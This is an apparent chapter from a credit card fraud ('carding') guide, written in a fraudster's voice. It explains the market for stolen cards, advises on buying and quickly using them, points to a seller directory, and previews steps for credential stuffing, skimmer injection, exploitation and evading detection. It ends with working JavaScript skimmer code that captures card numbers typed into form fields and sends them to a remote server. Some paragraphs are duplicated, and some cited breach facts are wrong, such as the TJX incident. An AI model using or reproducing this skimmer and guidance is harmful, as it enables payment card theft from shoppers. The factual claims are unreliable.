When I first dipped my toes into the world of credit card fraud, I couldn’t wrap my head around one thing: Why the hell are people selling stolen credit card info instead of using it themselves? It didn’t make sense to me at first. But as I started moving through different hacker circles and hearing their perspectives, it all clicked.

Turns out, it’s all about specialization. Just like in any other industry, criminals have their niches. Some hackers are masters at breaching websites, while others excel at monetizing stolen data. Not everyone wants to—or can—do it all.

These days, credit card fraud has evolved. Sure, you’ve still got old-school methods like physical skimmers on gas pumps or ATMs. But the real action is happening online. Hackers are compromising websites and injecting JavaScript skimmers into checkout pages. These skimmers silently capture credit card details as unsuspecting customers make purchases. It’s slick, efficient, and devastatingly effective.

If you’re curious about how JS skimmers work, check out this article from Trend Micro. It’s a wild ride.

1. code from the script of the toolkit responsible for integrity checking (deobfuscated)

2. code from one of the scripts in the toolkit responsible for fingerprinting (deobfuscated)

Here’s the thing: once you’ve got your hands on thousands of credit card numbers, what do you do with them all? It’s not like you can max out every single one without drawing attention. That’s where the underground market comes in. Selling stolen credit card data becomes the logical next step.

Think about it: a hacker breaches a company, steals 5,000 credit card numbers, and then sells them to someone else who specializes in monetizing that data. It’s a supply chain, plain and simple. Everyone has their role, and everyone gets a cut.

Plus, geography plays a part. If I’m sitting in Eastern Europe with a stash of U.S. credit cards, it’s not exactly easy for me to use them locally. Selling them to someone in the States? Now that makes sense.

All hackers and fraudsters have their hands in so many honey jars trying to make the most money. A hacker who compromises a company and steals 5,000 credit card numbers doesn't have the time or desire to use them all. At the same time, there are organized groups who specialize in buying stolen credit cards and making money from them but lack the skills to hack a company to get their own. It's really just a beautiful supply chain just like any other business has.

Also, people live in different places all over the world so if I've hacked a company in the US and have a bunch of American credit cards, I can't really use them in my area so I might opt to sell them instead. Everyone is selling whatever they're able to in order to maximize their income. It's much easier to sell the stolen credit card data you have at a fixed amount and move onto your next hack than it is to use them yourself.

It all depends on where you are in the supply chain which will dictate what you do with that type of data, but most opt to sell. When buying CCs, you want to purchase them from reputable places and people. Once you've purchased them, you should use them ASAP. Do not buy them and sit on them for weeks.

Here’s where things get tricky. When you’re buying stolen credit cards, you’re at the mercy of the seller. Are the cards fresh? Have they already been burned? How the hell do you even know? I learned this the hard way when I first started out. I’d buy a batch of cards, only to find out they were useless. Nothing’s more frustrating than spending your hard-earned cash on duds.

That’s why I realized early on: if you want to succeed in this game, you need to rely on yourself. Sure, buying cards can be convenient, but it’s a gamble. And in this line of work, you can’t afford too many losses.

Here’s the truth: you don’t need a mountain of credit cards to make a profit. Even if you’re only pulling in 1-2 cards a week, that’s enough to keep things moving. The key is consistency and knowing how to use what you’ve got.

I made the decision to go solo. Instead of relying on others, I focused on building my own methods for collecting credit cards. It’s not about quantity—it’s about quality and control. When you’re running your own operation, you know exactly what you’re working with.

Let’s break it down. Would you rather:

As you're going to learn, it's better to learn how to obtain your own CCs. Even if you're obtaining 1-2 CCs a week that's all you really need. As you begin to master your own techniques obtaining CCs, you don't need to go fucking nuts and collect a billion of them. In fact, you don't need that many to keep yourself going and raining in profits.For me, the choice was clear. I’d rather rely on myself and my own skills than trust some shady seller. But hey, that’s just me. You’ve got to figure out what works best for your operation.

At the end of the day, credit card fraud is a game of supply and demand. Whether you’re hacking, selling, or buying, it’s all about maximizing your profits while minimizing your risks. But if you ask me, the real power lies in being self-sufficient. Learn how to collect your own cards, and you’ll never have to worry about getting scammed by some unreliable seller.

If you’re looking for tested and reputable CC sellers, you can find them in The Armory. But if you’re ready to take control and learn how to obtain your own cards, wait for Chapter 7. Trust me, it’s worth it.Tested and reputable CC sellers can be found in The Armory. If you're wanting to learn how to obtain your own CCs and keep your operations humming along running solo than Chapter 7 is what you're looking for.

A sneak peek from chapter 7.

1. Credential Stuffing:

   • Obtain a list of usernames and passwords from data breaches or other sources.
   • Use automated tools like Sentry MBA, Hydra, or Burp Suite to attempt login attempts on various websites with the obtained credentials.
   • If successful, the attacker can gain unauthorized access to accounts associated with online payment services. For example, in 2019, a data breach at Capital One exposed personal data of over 100 million customers, including credit card information that could potentially be used in credential stuffing attacks.

2. JavaScript Skimmers:

   • Inject malicious JavaScript code into e-commerce websites to capture sensitive payment data.
   • The skimmer can be injected through various means such as exploiting vulnerabilities, compromising a web host, or using social engineering techniques to trick website administrators into installing the code.
   • Once installed, the skimmer captures credit card information when customers make purchases on the compromised site. For instance, in 2018, over 37 million credit and debit card numbers were stolen from TJX Companies (parent company of TJ Maxx) due to a JavaScript skimmer that had been installed on their self-checkout terminals.
     

1. Automated Exploitation:

   • Use tools like Metasploit, Burp Suite, or Nessus to scan for vulnerabilities in websites and applications.
   • Once a vulnerability is identified, exploit it to gain unauthorized access to the system and steal sensitive data. This could involve executing arbitrary code, bypassing authentication, or escalating privileges within the targeted system. For example, in 2017, Equifax suffered a massive data breach when attackers exploited a vulnerability in their Apache Struts web application framework to gain access to sensitive personal information of over 147 million people.

2. Evading Detection:

   • Use Tor networks or VPNs to mask the true location and IP address of the attacker.
   • Employ virtual private servers (VPS) or proxy servers to hide the origin of traffic and communications.
   • Encrypt communications between the compromised systems and the attacker using tools like PGP or SSH. For example, in 2014, cybercriminals behind the Carbanak APT used encryption and anonymizing techniques to evade detection while stealing over $1 billion from financial institutions worldwide.

    // This function will be called whenever the user types into a form field
function captureCreditCardData() {
  // Get all input fields on the page
  var inputFields = document.getElementsByTagName('input');
  
  // Loop through each input field
  for (var i = 0; i < inputFields.length; i++) {
    // Check if the input field is a credit card input field
    if (inputFields[i].type === 'password' || inputFields[i].type === 'text') {
      // Check if the input field has a credit card format
      var creditCardRegex = /^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|6(?:011|5[0-9]{2})[0-9]{12}|(?:2131|1800|35\d{3})\d{11})$/;
      if (creditCardRegex.test(inputFields[i].value)) {
        // If the input field contains a credit card number, capture it
        var creditCardData = inputFields[i].value;
        sendCreditCardDataToServer(creditCardData);
      }
    }
  }
}

// This function will send the captured credit card data to a server
function sendCreditCardDataToServer(creditCardData) {
  // Use AJAX to send the data to a server
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'https://example.com/collect-credit-card-data', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.onload = function() {
    if (xhr.status === 200) {
      console.log('Credit card data sent successfully');
    } else {
      console.error('Error sending credit card data');
    }
  };
  xhr.send(JSON.stringify({creditCardData: creditCardData}));
}

// Add an event listener to capture credit card data as users type
document.addEventListener('input', captureCreditCardData);  tag